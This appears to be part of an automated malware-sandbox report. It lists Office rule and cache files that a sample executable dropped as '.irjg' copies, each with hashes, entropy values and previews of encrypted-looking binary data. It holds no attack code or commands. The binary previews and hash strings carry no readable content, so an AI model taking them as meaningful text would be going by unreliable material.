SSDEEP:	48:hTz5Xy5k5tKzyrgFuPEt9QMEehP9DJopaJD:hTVXGm3PE7QChP9NP
MD5:	C33D3689023558E5263143B6DE910541
SHA1:	DED96FF4611965EEA01F7B2844E727FEA7AFB938
SHA-256:	9BE03B4EEA28CDDBCB87935B424AF77576CB2719C728AE3462EB35BDC3F80242
SHA-512:	36920A9F11FDEA7A23814F6466CA9DDB27FC5E96C3FEB484A188388993C0BA5999FFB9CF9D073A54471AAF7ED047D39E39875967FF2FDE245CEA228A0E5DF9A4
Malicious:	false
Preview:	<?xml5.j......$g.Yf............Q....(.n"....{....oNJ...5..Yk.Q....r.Ln..a.&7.a.r]S..#W..m.._.6k4..1.....A..K+wu....W...]...........Z)Dk..[..CA.{.u.x .........\.?)\..h._!.S.0..7Z...j.:...5...Q.+.Is..u[......`-[.....eO.....i<m...x...6....c..K.................-.....$tg8j.P.Ht.%.15.....b,O..].e..]....F-..`. 7P....0.k.).l.....A...Z5.^.6........)...C]0D.\.A..W.............V.DI....j@Z^~...bZ.l.k.~m...L...]...6..N...\c{^%..0..\.o....V..<.!........r..79\.].rh...7Vz2~eh..)$..5...J....!.9(...E.s.h.on(;...`...]t=J.......RbW............4.{w\.....s.e......_u..ui....<.:V..\.y............T...i/A.....hX#.O.X ..Bb.BV...C....W.n....w.]H.!...LVJ..mYc.....N t.OB...y..9\W..h.........)..'+..8e.0c.bN.&.D.Y..xz@..?.&...w.lh.S...>..N1.@e.)...,.@.....%..3n.\8Z..j.H......;.?*x.R>.F..rJ.....]......4..W?H....F.@nq.....H[..pg.)2?..)'.x2.....j.+a.....g.w.-+]^..q......pY...c..[.V../(....[.u...C!......VS.u..>..BN....sU;.....5.t.%nS=D._V..7.AO.P...L..3..B@.r+..g.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180030v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1572
Entropy (8bit):	7.843750198248794
Encrypted:	false
SSDEEP:	48:J5rtm4Uw1mQXl56Q9V3WndNahdEoqdQPaANqV9JD:/rtbsGl56BdNa+eP0
MD5:	88728325C5265D206D3BDCE251824D11
SHA1:	A875834B47627E4FCBC7AC545AF1866F0E1A1BB0
SHA-256:	0AF836618DBCBA039039972449A45AFB13F7B722319F0AE705B4B4E1BC77EBF0
SHA-512:	AF1BF60B69C158CD68DEF75B60EC215EFFCA4FB20C2966A692BA5DFEF75565092C5BD6ED3E8FAA75747D1A36CB8C087CE44D8F7709D71C36B6AFBB08433EC97B
Malicious:	false
Preview:	<?xml...B+.[..^..[d+...!f...q.."2..-I.(..:..M.>}.)..5)...P..QE....%.}...)[.4t........{s...;o!5W...q}D..uvB..F.u.R!PC.t4e...C...if../.!7s...ra..\|U....^.Y.f..{..."...Q...R...9..".3...0....imr..jT.7E..\&~:.i<.....2.X.........hS...@:.8..K..a.%.l...f`.SK........xf..u.W....7wu6..!.a..u"..C}.....d..F.\..u....N...9.ZD..d..r.'7.....B.$...}(..Z<k.).%..v..G.}D...%..f..v..L.T.....e.0?..x..f.%mX...h.&}..:.:.]e..(.D.b....G.r6..n.h._..(......3...iW......2...........t..PE6A%.Q)....O...2.w~Y.B.y........!.,.[..b..@.._<..F>..!..o...xr.\|hk.....iH.....fM}.)..b.<...Z<\|...i....p3..l..T<.\h.0...~ .7....._<..$.....oD.U..L.....J..XaH.{...7]r.L.......j.....J.>...O:.&...U..V..`DU}TKZ......6.z5.q.L\|..y..f.w....p....u.h..MJ...8?....%oa.j[(...i..y.....K..3..E+u?..8..m..2~.c..~7r(w}....Y/.1.z.+s..C......'v,.T.......j7Vl...eP.}..,*......-..&-..[.)..,V..z..l..v7...}...X..W..!s.....5......AI.......N.pZ.tx,].O.;~.x.mg8g...YZ....3...5.....V&..ke...+.x..'..@.K} .{Pp.S. x.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180031v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1978
Entropy (8bit):	7.902111188793836
Encrypted:	false
SSDEEP:	24:zAGksZXxfxXhjU4+ET4vX5/JJJb/BvXp2IBMExTr+aM2iLBeXGYEo+JbfazFHYPq:cih1hwVEaXtlBv52bUXNo0zpOZbh4JD
MD5:	6F46335ABA611DDF755DBA68B26037C0
SHA1:	D048B3114EC837C3DEBED28EC9714E32907E6C2F
SHA-256:	A0FEEF6C12A8D94645923DE12635AC9D2EE494742D7CF0CBEE29FE78EA6B67B1
SHA-512:	DEF01594A39172744531089385829A69F61BA1514CBBCD53E66F810991949DE64C16B7839663F1513F3A3227D229FEC86A060AC9B0F6F666D716FA928A8F0653
Malicious:	false
Preview:	<?xml8....2c... .gr{.Qw....Z.5.Spp..Q.F.....r.0.j.^.!Qx3e`..U...X..Z...q.YUH.. q.C^.....\UD.`.S1.....oQW.7..o.5yn)`h.5. ....t...r..p...mW_.k,.,#87.l[;.....l...6..}.+1...8....m^f........M.ByH..Wh...#. .h. ...1...q.F.NO....\|..hQ0\|".[....<.Y....z}';..U..M......`...%#...h...'7P..c."V..1@V`.b.?;l.R..e...'Rz...........?..A......Y..]..\.......l}{6....c........n.o...\....6......1W,0_v........A.i.>.F..pY.o?....I;.,....Z.'.....M. ..r.K}.T..\|T0u.'q..Cg.z....?sJ.N6.4.....3..xl....."Q..RF_^...pCC..trN..D.a.(.F.......'........#.iX.KcVHg..P......C...:..6U.EH.$G.j..N..[..g.O ..}2...n[.pz1e......=.......{.`kX.............].J.{fP.....B."3......#J..B..<..~G..y.....#xz.U.Q.....$.5.....pOT.....F.,H...L..QNq..5.?O...^.e\|......`-.......6.W[.USpw...O.7Bs7.v..Pv..p.L..._...j....W...v...]:!?h..,........S.V.@[i...}H;....W@U.YT.....Uk..&7.:.._..ZY....xK.L.C..I.a...@...JlX5.E....r..m...>...?.x.$ltm.....gj..U.JP$.nB.....K.."....x..P...t...i~n..&..b...R.F..>.e..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180032v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	7.893945261511166
Encrypted:	false
SSDEEP:	48:NoVGhEhZrzSYnlWcQV1prrRwZzpkNcbGqFaYJD:N1UZrzSylWpDrRwhpcwp1
MD5:	6043C7D2C723307FE43ABF3DCF781CCE
SHA1:	EF54F90C1B259119AA16962877FA5A001647240A
SHA-256:	2D51C88B1DE90D6855A8BE9046A70B60B868F38D88C20BCBB292884EECF649C4
SHA-512:	D80F2CD33684B905563E437728B8ECCBAC504409383FACFB754D1D25177F0B7F72AF87087CBC939E4CBE1D834761B4BC7B70AC1145C38AA9B752B236EA52006D
Malicious:	false
Preview:	<?xml.UC..h.f...7...[.w..U..X..v=......+ba...:...'..>`v#c8....#.N.3m..4Z. ..X=....3...6.f.....0........"t.vM../bu..W....]T.....t"G........$.'...L....R...y.>.r5.CG....../f5..........S.j.Yr=.....7F..4....<ix#.........s<..o...Yu.z.,G.S..:...f /..]?e...]...B....$.........JJ.....l...D.#\|.......,=.G.!...M......e.r.MY3..P...."56.x....8./...4:I....OF.2....=8.,.7`t.T<W&...........Z....E>....h.U....&!C=g..v.VX..........h.....d..1Z.zS...R......h.C.N.?%...c.....k.Q..g. .~.GW.]AA.P..zd....&.=..r....PG.S..i........an...ww..$.................o.c....e..7?..J).N.....D]...,..}..f6....r.`.+...mJ..Sf.<...UXi...-@....H..lk....0.JS..}g....~/.2.X.}...)]E4&.@.........../t..o....=....L....c6"....f.O.<>2.. ..q.....^......i.....<..Vh\..O...7.aA..^..T..'PU(....Y.B...h]..cwo..7[..y...6.R..M.J)i..h..t..%...M....nG.,U.....^.h....t.N.}....g1.h...(j\..8"...EAJ.l.>.'s....VIV....HO..]..%..=...;.W...<E:.x{9....]!-.{.^GmVRy,.1....T+.4...1..'l...3}...5.....+-

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180034v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.890493857986711
Encrypted:	false
SSDEEP:	24:tsZTze9ZOaZ282U07HDdQUGXuFOgzQ+wlpFhwMzA47W+jmraTKxtHFVhgY2zV7me:t+a1QZlGX2/bQcMDjm+TGJ2zV7PJD
MD5:	B9C7CF47484E8DA1CF456C872AF3E277
SHA1:	0EFF494F293E5D636CE6F078078E99F8E5724C0F
SHA-256:	6821A23F0566A79E10BA135D6CFEA6A34C91811E358F0508FC62C9A9EF4E74F2
SHA-512:	208BB5538F17EB2378A352805726D11757D6E93113BD91531F04A5B61A2101F4CD2A817C1B5F870D4B331ED4E9D23D43EF856A97B9AA9DBEBD2FB4ECF0766856
Malicious:	false
Preview:	<?xml....M...({. ..9....l@...],V.#....i...H.^NOu...+u...\..}].<nd...t..I.v.S`k.h.. ]..F.....lo. T....i`?s.........W..........r.4\.>_8g...F{_)H.r......."..Y.F]j....\.............]..B.0......~...4B./.........>.{..bg.I.........Vn.r.......j......p.....R.N.Q...=..^..4.g3..74sp.ky...t..F8.....\|]qk.F...c.j...<.........x.4..n.x...f.../.`.3.....y...5.'o.r\.w.....jR..1.....Y...c.6l.......i&vO......C.F.....>...D..veg....J..hDabqp....f...(.dS.I..b.Pe;{...:9..bA.......7...~3......!~e+.m.b...\|.....1..2......q..{.d!..S..M.6bORC..e..-...>.b....u}...p4...F...x.T....?.r.d..5\|...H....f^$...R.....x....D..7F?...,!!..........aP..1^&.U.C....g.Hk...q(.jfb....>.........k.....'...#....B....{...:..{ .....L.-\J..f.I0......W...;..K....g.../......O...i&......5$..b..:.}..y4..o..R.......h0.......[W.k.....mc7@.P.,Q...;.X..Mj.9u..._...R...+..d..f...+..W......C4..Z^......+./.f.%K:]:.....C.......:c.vF.s_i......&l..5b...n..Vr...UP3k.~......3...E.^....5.......xMK

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180043v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.888679793980089
Encrypted:	false
SSDEEP:	48:4KlE41ogf6h2kNSqVBXsqZK4liv8CR8JD:4KG4Sgf6h2KVB8qZKp3m
MD5:	1BBE299DE734D283351F91059513CBF6
SHA1:	66EF2E9A887524823FEC41EFC8C62CDA4FD8AE40
SHA-256:	E08EC4FEBA833719B113755B4F208790D6623F3523D643387AA7FC5DA3C13C99
SHA-512:	1ACE8B0D48520238D4D96EE3B666C669C0A4A02440C300298403FE817ECF43CB38914A2C620B50C99A0E345DC9AE09A3ECE90E5C0C27636DB6BA679A7AB488E4
Malicious:	false
Preview:	<?xml.v1S.Y....U. zB..(.<...^.$. ..~....]@@..g...s........mxNs.E.kC.Ei3.Y...L)g.Cej..Z/...R.H.mb08.4H..cb.`...7..$...Z.....f.R..l..-4...P..'m..E..}5...`.q.1....r.\|-...#.=h$...WS.0...+...k..3..$s....$.[..K.....i[.&_..0.h.%....H.r`..j..A.. A...0......."...$BG/.&......,.......t....j...NR...r...4......[...(..b.t.RSZ..~..~.(X..Z3v..o...a........9..8.....G........\....p.R.`..o...O,...X..F.c1......0fE..m.rz.......3T.bf.:.Uc.#..i.V.=... W...E.\!/.!VZ..g.$..WY.x.e..A..M5..OT2.....D....%0.~..0.{y.........P.v1M..PU.. .8..k..63.....^....u.P..E'.,@9:..8..9......#0<..o.:..'R.uP$xn..^gcY.........-.Z'B.D.Q....Y.....LDP.v7..b....)4gN..o....".....n......fuW8..Gw....>..bx.T..[...X~...=...u.w..R.+!U...r....9~;/..i>F....<.4,..j....#....]..}UQn.kr"..0.x"<b...pz..(....0..T&...C.tc......Z.......$8%.gw"-. .........Q,..5.>.]q..<......#.........I....t..NVF..m;...."6...)M.1..N.iv.;..Gp...=zJ.0...E...+...s.A.Q;...........J\|]....E.Sw,X9...5...!.q.s....U.s.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180049v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2858
Entropy (8bit):	7.922044729439779
Encrypted:	false
SSDEEP:	48:0r37K6nhxX/6JP2bLPYli4YtgH5bG7drFDSS9Pskeo+P/TGVTuYFHgtZ5/rJD:0hxwwai4FpG7XUkR+P/TGVTbg399
MD5:	9CD3AE50C8B3B09701143C2F46D6A90E
SHA1:	23F5180AD61E7E37159512D949E1F998578FB30F
SHA-256:	3584BC217E3F2967D2A32430C55916AAE1C7728A4D5025C849B35603ACE4D947
SHA-512:	84C2C1742E5251FFFC12CD2EFCE7FF9269F0D9E442E51BB889B2093898FFF3B7FDBDA94936AE89795E86CB209E134D63E36E040B4CE155092F53E9DB70EBCB66
Malicious:	false
Preview:	<?xml(..h...O_U..U.q.Q...c.0.......Fki274.r\E...f .1...7.:\|.<.<.+.p.4-..sI.b>..d.}....+%...G...+t...TUF..[...3..,...q.......R.5W..H.......;G.?...${.e...s.h......4..k.C.....<.t.$`us....b.4..\......NBS..>....b.oJ.RM...J..J.CZZk...?.+.O.e.^..`.[.R.......:......~.x... {1.....[1..^....0P.j......2..@."...v..%sD+}.....@v.0JQM%...x].h...t.....`,3._2.+.....Q...@...@.....`P.FWj.$.B.\.$....G...f.....s..f{i{...........W.U.q.Q........p.."so1.q..m.L5..._.`/8H...d...<K.+.....:v..Sc.....x>.......n<\.......}..4..&Ywp..:@/=..,I.;.....vO..{..b..^0...S.Rt...52...;..[.+...r....C2Xg&.....'i..R8Z#..53\x.....I....WKU%......(.]...S.....3.v.6......\|..u0,.+(.pE.)4w..Y..b...u.).&..G..R)W.?...,..-3L.N.2k..4(P...i.S.B.D.1....."g.(.c7..H.v..r&.2.a.^Z1...q.g.i.'>.WG.<..K$.j.L.z'.O....iU...06......DI.Cvu.:.S.i.....n.U........:..K......W.9...38.k.r.IR....N!.E.;B...E...5m.....M..J....................6!........`.../.g%..3.%...u...N.i.......y..7...r..S......U).Z..7

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180051v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1230
Entropy (8bit):	7.840254515266457
Encrypted:	false
SSDEEP:	24:jn/OQYJWvzsPNavsDipmEn+CVv2bJctL26s+V4uEEm9pbD:zGQP1vsDAn+CMtck+abXJD
MD5:	C69A20B00768DE680A6E19CC851CB465
SHA1:	C9EB6300423D3A93C5D737C14CC8448E9134DEB8
SHA-256:	09CBD8826A1E4D7C87FB9AF9D7D1C543ED404E25469F86CF73E937E27320472B
SHA-512:	911D89682ABDDF1A5E963BF59DD006BFFDA2BE752FFD45B57D80DEF40FF914EF115565904A0B1456CAB589C146827399A0994F567563B6540AE00D8700C02DF7
Malicious:	false
Preview:	<?xml.\|oVZ...$....v) 5..9v.....b..5....S..X.".".8....eSe.g2....k~..H1.....\.i./.r....^ ....]%.... ......x...zh...Y..KmB.c.R..{+...g...{..5"F^Ah...`...&<..T.6.9....E.1..1..%..g......].te...ul.\$RM.H.....,W...M...(..8..v.L.!zpKLM...{.q.6w@\.f..o...G1.......R......HP........;.Z..g..gfZ....#..X..........h....r.$.:%..F..e..S.C.f....Rh.eGa...!k......i\.........h.\;M...?M..5.A.......v8#.R.;XG...a1.EI..,4...s.(..D...1..QMi.d..E_.M[..).....m.....<.8<8}..;...U...V.G.+.M...8.....5.P^...<..KE...#..L.A]{.yS\|u.o)...KTh............{...G.oK....W.3-.....x.'.EU.t..%...^Z..7../...7..A.9A;.2.....Y...E.....{Dz........#.i.b..-..#......;#Ic..]d.64x4.".>I6..JY5.G...\|.X.v.f...6.'...J3X.U2.......X..".b.,.?..s.TH..c..v.:.n..w..ip.O$}.....L.<..y.{..@........K..O=J...>a.By...Gp..EdCX..5@...x....,..+.n.hw...k........<.....8...w...j8..u.@.......v.og.....D..D.....$.Q.o5.F..h..$..Q.(..$.....U...`!.y..dk.....\...?..+....&.7w....?g!'..q...[..5U$l.%...Y...t..mOl./.j.4.Q..P.h.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180052v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2834
Entropy (8bit):	7.937046564422436
Encrypted:	false
SSDEEP:	48:gPc4pa9L8v04Ni4Iga52Jd9ZcOztjvLYBaV/dl0qQ4Nbe7lD61S1ixgzhGFOxUPO:2nsL2NJaUJzZcOtYBaV/dl0dmbe7lmYv
MD5:	50413B3C6E3DF948C093200ADC766CDA
SHA1:	F8BD4DBDAC6B8B0D394B34CEC973832FEE17D504
SHA-256:	DF0396B7BA0C1D1112EB3A9C71BBE8AF5F9A95B1418D498947C7480FC0B906C7
SHA-512:	6EC108060D3679FE5D8F5D4DDD14487FCFEE5858A16E78032046EBC419725C08110632ED1917639E396F4EC7BEFC82823B042EBA9A888F9A154E3A1C2B2C1A4B
Malicious:	false
Preview:	<?xml]......ZR.!4..$...7C).@`..g.."y.....qI..O.......%.76Y..d.H.T............._Y@..AH..c...N....r..EYt+..h..n.v..DR....8.`X....4.M.G?...j.+.\..\|#..l....`.;Y.p..v...../Z..............M.(..I......DM.y...y..g..6.7W.!......!..y.k<.._34..3.S....K..J.l.l'!p..CI..Y..6....l...........1.......-.&....=b..........@...{.(.F.T...z3..\.75...h...t:..8Z...R...V..y\|.5...-...=.R..Z... M.Tr...h,r.C.....&m....+W...Z..&......iM.`...Tp.Z.J...B_A........:O...2...V.45..T..=..;.`~...7..W..\|..........F...s..ry...S.........1.9..2...t3..'..-w...Y.#.<..o>..t....)n.q0c..]......iJ.m..V...n....e..n.....Y.....{~~'...(..l^.@..y...q..KZ..h..29;...1..a...N...p.....-..0...6.n..t#.....i:._.......J#.\|..o......>=.k.......WLA....3.K.D1i...........&.!..0.g;.XK..5R.....x.d....&\|.1k-...A...$F..%M...$.t\...8....=...RG5...s....v....g.Z\....=H7..9....r...W.4.....e....T..._C...gu(,b...../....8*S...A`..~..........j<..=p...v2....O..7.......r.su.zuM...f...J..}.i{0..@.S(j..6..y.....G\..]

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180057v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2008
Entropy (8bit):	7.88052724780549
Encrypted:	false
SSDEEP:	48:AN4ATkRJvd73vIUoxWlCFJD2MHnRWrmmb/JU5JD:AN4TJvdjvHlCFJD2MHnwve
MD5:	29D76422B989B8B8133192D674817659
SHA1:	81304ACA11B275F495F3F4BE8B0528D741A7982F
SHA-256:	EA3A7F1F7CD5848921D368C9FC0D0FDD29D88CED59C56543A539FB7463C7B1CD
SHA-512:	681CC9C707720C54230EA1617A84FBB4FBA00D26FAC1F61DFDEC891B09D1B67346003727D5607AA257FE5B28A1752C30A15DB67F96B8D20762BEAD7AD515E0A8
Malicious:	false
Preview:	<?xml..(P..U..Y>l..q..#..=?...D].P.P...2.:D1...T.c....p..o.....Amh.Y.Q..y.r.D.E 6g_.l.:0..B._O;.%`{.l....H./..y...y{XM....J...2#U.tl......5Q...q..&9....qt..i...L}:..f.G......t.B?..JG.U..M.i~.G.'U0ch.m....y.Na ..\."....F._]..[E._aa[0.....9....1.?7.4.c.<.$E'..a./.F\|'b......q.......u. ..AfvYn=.z........L....zb.9.h...CO...I.z....3l.B".Q._......D..3.`.B...N9...5...zYj.....e]...^..O#..f...d..6...e..w....+..b.U....f..'\TI2..W....A}..u.=....W^.m.EtM..,.s5.,.....A.Q......W....~...fp.])..$.x.....;A...."..v..#..8$zm.T{[A....'u..b93..\|`$.&....._...;..M.%..n2f........+y..F......N..)...'...}...'.e._+.0.27.6.{.%.n.....l\<)..;...S.^....Y@..W.Z2.i+&....Il>D.....:..%.E...g.r....g..-.dq.qy....B...w.).T..EV..WI...c.F....l.{J/.......\|2.L..\|}..<.5.d..>.....V5....i../`..X...C.y..4........,t.!.e... .,4....Qr.MF......_V...L....0.......q.y...>;.C.c7&..%..!`..7~..B8.*.F..e.).#W......8.X..d..h).....W5@ty...Le..R$2...5.ud.z&Q........f.T.....#k.E.....A....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180058v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2453
Entropy (8bit):	7.925914424942561
Encrypted:	false
SSDEEP:	48:OE0a19bUGvivSEhLhvD1Q+oF2mgW75g/hYNb+1ZLvQzmngoQxHJD:/73UGvghLhvD1Q+qgW1syNbQLvI3oMB
MD5:	B28EE4A7AE3E4033429BC4EBE32A9BBD
SHA1:	6D7A29826C54685DD782CB6A5229D9943CD344AB
SHA-256:	4BDF8BC64886672AF9C236F78C32DB426DE45B00AEAD9D845D1224D23616856A
SHA-512:	151E6E08EC4FEC8BB485968A79D1D8F2A6E733C858DAF24A03C8AF86D504227409892054515C9A37756792F33D6966225D8497EB86BA24628AC75BDE5D8E0CA0
Malicious:	false
Preview:	<?xmlc.o...&Fw..c....+.9>`.?......f)........D.mb../.+.N.w.....}.....'2...^....#.4...P..4.:....GX.,.o.1.....\.....2.;)~.!.>."..k.F...#....iZ.cm+........"+........R.V..ce.....W..v..u.@'.!.=.......`.g..c....&[p.A.!i...\|\|f....."...l....Mu....?d.nM...M.dU.p..........<.noP..J....pM..\+.p...M..;JC...5.5}.WeQG. ....?8BU\|...=.d.{.K-.r..Y...R8...N.....X.m....L...S..D.L.$..\..A...R3g...T.8.X..Kw#.........f.lt...TMh..m.h.....w......WY.......f.7...9~W$yq...9.=Vf..!....z.I.{..F...{W*...).........a....8....d....4Q...7.r.)v...>.tU.\|....K..-9.......I.Zk F..,.........FLN.@2..Y..uQ....W.:..a.t}.d......z.}H~.<.....\..Z.Da..w.h.L...O..h...{.&.".6......~N).Y....."..~..:...9.k.....O...K`..~...n..L\|J...Gk.`.Tu..4..W..<.J..}......k...Z...{.B.....t.>..E....9....>......\.E!.....&.k...@.n=~..`pw.h.W..Y\.S..xA?byF.3..n....<..%........;..We..:X. ....B.6.]......uAq.....N..6M...f....b.^.....g.!R...R..M..l...`....kwGF.CJD....~<3w.....q/..Y.`........\|L.c....Sd..`q.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180059v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	7.850923453758799
Encrypted:	false
SSDEEP:	48:+wahU4gcZVwcBBLIxkNQtoS4ODypytPJD:2U4g9GBLIxUQtn4Ocy7
MD5:	0012BCDD5A58CAED1DBB04C4A63B11D0
SHA1:	8637B254296FBDC32FDEEF53BDC468C2788EB188
SHA-256:	99C7DE3814807C0B1916E35DA0D20D3DEF1C1199BBD32AFEADEF0A8B95001128
SHA-512:	3C1607772368D4E926B78F027C0CC263EFAAA930FB83E17500A0E100DB42CED564D9D65C8971CA217A73686245EDE1DEF04971461DBFD2B089BF56E0665B5070
Malicious:	false
Preview:	<?xml..V...{\|..9F4[...i.....+fO.M....D..S[Rm..%.%.r.X..1...C........+......a.t?.....;bY%Z..;.).:.&#g..RFY.q.O....G...B...GOq].;.%\DT...\|....V.9.bw...e....w/2B...{!.._..B.....W...3c63...<..:..if.L....A.J0.X....D.q...4.Q.x.:.8..o.r......=..2NLl~...MP....&..tY..P....q9.......<4....}.....%P.?6......]x..)D.<\|^@......\.........^.)1........gb..M......{H\2gW.+4ly.....4y...&W..C..i.d)...w.'.i^.G...F..OX...U..s.........m.ONk..^..=T-.}........?.e{..u\|...t..:.....Uj...?.....WkO..........:.f.N-.t.EA~.U..~Ib.Jw.ji~.$.w&...&.....@.Y..K\...[.p:.A...Pa.0:I...F9..LA..NtC\|.mj.!./.V...8ET.i..U...<...h...8..m.O..K+.V...0t.....j^E..(t.w....S.Q]j.M.....f.Bl..[Nq...\..T.....O.....X.}.s[..1D.6...}6.3.h..t;.I#....1..{.b..}.7TK[:(.Y-&..s..\|........!E)..$,.{..^......m..5..?M.'!J..tH..:.k$4.p?c..u..s9.D..~Q.EH...K..o.WN%.,l)5.[YTb. ..Y.I.f.V.J...{.cc.#.K..O..<.Tl.K..?..gT&A...\..Q....^.,)..t9..[d..I8.D......?......>..?x..$+....D...rBuYf...".......7..F.."...qj.B.[...

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	320676
Entropy (8bit):	6.6309731961105305
Encrypted:	false
SSDEEP:	3072:faaBegRjMKWKEw47OsKQseoudfLNAhszSd3qss5JFD2gyw:y8pWnAsIeRxAhs+d3TsVD2gyw
MD5:	E18C637970ED35EEC10BE887DA6E11AA
SHA1:	2923A7F11CE8864E7283B377A92F29BBE5EE72E0
SHA-256:	475781238E2553F9362BF9A3FF51202C2DBDC7FBC5221141BC57930EEE07A32E
SHA-512:	A39C74C8FA628259076F566FEDAAB1748104338AD012DCCD7BEAC621E96F353F09ED4976C54E93D524EAF2F71FDDA4CD6060277D07DDA8B666EDBFFB74A2A264
Malicious:	false
Preview:	<RulexE+..{.R.F4)...g3}t.5r..D.j.2.fxcF.sX..O.V..k6....).Y.v..\.?..!.A...z..d...q!..+....N.[....9~.6.&d..&.PLm ..[.....>{w.V.0.!03X...&....M....4\.eil........5}.... .........Ap.].a....i..v..~~M.H...a..o6......<.....k.wT.......&;.0.G1[....;..nM.....B+.aa...$^(T.....L..sE..X.AD.8....1...k.\?.\|...Z<.js..n.DU..7r.m)s7.)..r]}..C.RO`Ga..Pv)!..W.i..&=.C0.......tGr..& K......g.4..o.. .#M.>.f?8..<H..,..c.L.....o..`u....-.W.l.p...j%p5.%.\|..@.{k.zY..z..`.......q....%...B/(,.'.......m,+P.....{.!5\|..Y.TQA[H...9..}.....C^..).QuWw.&.2s.....Po.r.#'..A....Z.`A.M>..^O#UL.E.....x....]}.....q...E...t.....0? .........+.2O....9.W.....2.....Z@?.kz{...?...P...F3.@...}....vW.c.v.oO.z..\|6.z.{.....;4FfXf..e1~...E^eR;..jG..w.....?Q.;...Y.e.r.........6].)5....d..J..&........E...a......Q.....8..F.../."/3.E_........2.M.a..[.P.d.{S....i...+...aZ../w.....z...0...L%.:..6-.<.3].$B..".....M6.t.....~.Fg..r..........%.jl..:+..^.k.k{..%.;....!Q.!0...;1.@.0.3H."/,*cj......

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.512929729929254
Encrypted:	false
SSDEEP:	3072:LvXw9cMVyxrwEDTcqkIcDUpzR1CvX0dKpEho6k5Yb8R8txRiAm1QO:8bVYrPDQ9IcEn/yGjbEQxwAm1QO
MD5:	6C6F156D7058E73F8EBF89BAA739CB21
SHA1:	DB04BC660EACBC71CB26002ED3B85484ECB0A7F0
SHA-256:	A406C8F76B9C7D7FBA3B676FC9D1CA5043F3F3F90B92C0513F935E7A462A4FA6
SHA-512:	7326C322BB876EDC0D4F0B7E2AEDEC849D53B6A507836A29D0388DA3A58BF2B73B641135DD8215344D7EF276C7BF35CB76E45703C4E4190C7CEB734B31F75F4D
Malicious:	false
Preview:	<Rule....e.....1TA:+.c-$....b..T.....,U."u...\/Z... ...5.ek.^...K......A.w.#...h....._.8}..]cC.k.~...L...9.CFf.B.k.~o.+.......R..Sc.......^x..UH.. ...;\|..Z.f..v`M.6.8..D....ji.[....Q.5......2I...[...t.7..R.%....<...#..Xc...Hbq...V......m........e!...a.r`...M6?C...i......\..j`..u2).-.x.X..t..B.....X.L...#..;}..].D...$.B..............u.6..$@..!<z..~:Z.....H\|...[,.7...2X..]. P....`BO{.l....D...'.H.@....trO.....YH..g..\........2%..K.. ..:.N.nQ.........]..&.}.........6.W...4..).J$.N'j..4...\|..@Z.@D.G.,!.(.,.a.A.2..^..8..e......S....RG_c.E....>Q/..!...).7..q.d.3.g^...f.Dh..%.......$.<:.I.<....0..53yzi..i.2...^..]7..}\...n...\|.2.o.(.S.....S..5.. M.....0\|m.O.!..D.\|.\|....h.i....b.%.....p...mv......H[.:..y..`...........a'pg.~...P....8.R5qk..3.]....DK?.k.r3...<........$...sU4.0...z.........F...U..q.T..........,..d.\.w....i..U.c..>`.r...6.r#b.,.x..9....+....h....)p/.?U.kq...L.9.......[...FOB....."c....<.O........>.{.f_.`I>..c....Q...y.....)e.W.."..o....."

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.819590423237747
Encrypted:	false
SSDEEP:	24:dFRgyYAzr24T8LcUnR+pkvDktI1be+1beIgFqG8Q7dQwDSWiqM/T9pbD:dFRrYA/24T8LcSkEXjUBZIWt4ZJD
MD5:	7BC3562141BA068AEC56BB93C149D5CB
SHA1:	AD4F2A4C3C4D6B293E776F1880D34C252FA63B5C
